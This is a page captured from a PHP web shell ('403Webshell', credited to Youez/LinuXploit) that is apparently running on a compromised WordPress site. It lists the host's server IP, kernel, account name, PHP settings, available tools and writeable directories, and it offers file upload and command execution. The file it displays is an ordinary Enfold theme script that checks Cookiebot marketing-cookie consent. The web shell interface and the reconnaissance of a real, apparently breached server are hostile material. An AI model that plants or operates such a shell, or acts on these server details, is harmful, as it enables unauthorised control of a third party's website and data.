403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/themes/enfold/config-cookiebot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/themes/enfold/config-cookiebot/cookiebot.js
/**
 * Global namespace
 *
 * @since 5.6
 */
var aviaJS = aviaJS || {};

(function()
{
	"use strict";

	if( ! aviaJS.aviaCookieBot )
	{
		class aviaCookieBot
		{
			constructor()
			{
				if( window['wp'] && wp.hooks && window['Cookiebot'] )
				{
					wp.hooks.addFilter( 'aviaCookieConsent_allow_continue', 'avia-cookiebot', this.cookiebot );
				}
			}

			cookiebot( allow_continue )
			{
				/**
				 * Solution provided by Jan Thiel
				 * see https://kriesi.at/support/topic/cookiebot-support-feature-request-with-patch/
				 * see https://github.com/KriesiMedia/Enfold-Feature-Requests/issues/91
				 *
				 * Check if user has accepted marketing cookies in Cookiebot
				 */
				var cookiebot_consent = Cookiebot.consent.marketing;
				if( cookiebot_consent !== true )
				{
					allow_continue = false;

					// Reload page if user accepts marketing cookies to allow script to load
					window.addEventListener('CookiebotOnAccept', function (e)
					{
						if( Cookiebot.consent.marketing )
						{
							location.reload();
						}
					}, false );
				}

				return allow_continue;
			}

		}

		aviaJS.aviaCookieBot = new aviaCookieBot();

	}

})();


Youez - 2016 - github.com/yon3zu
LinuXploit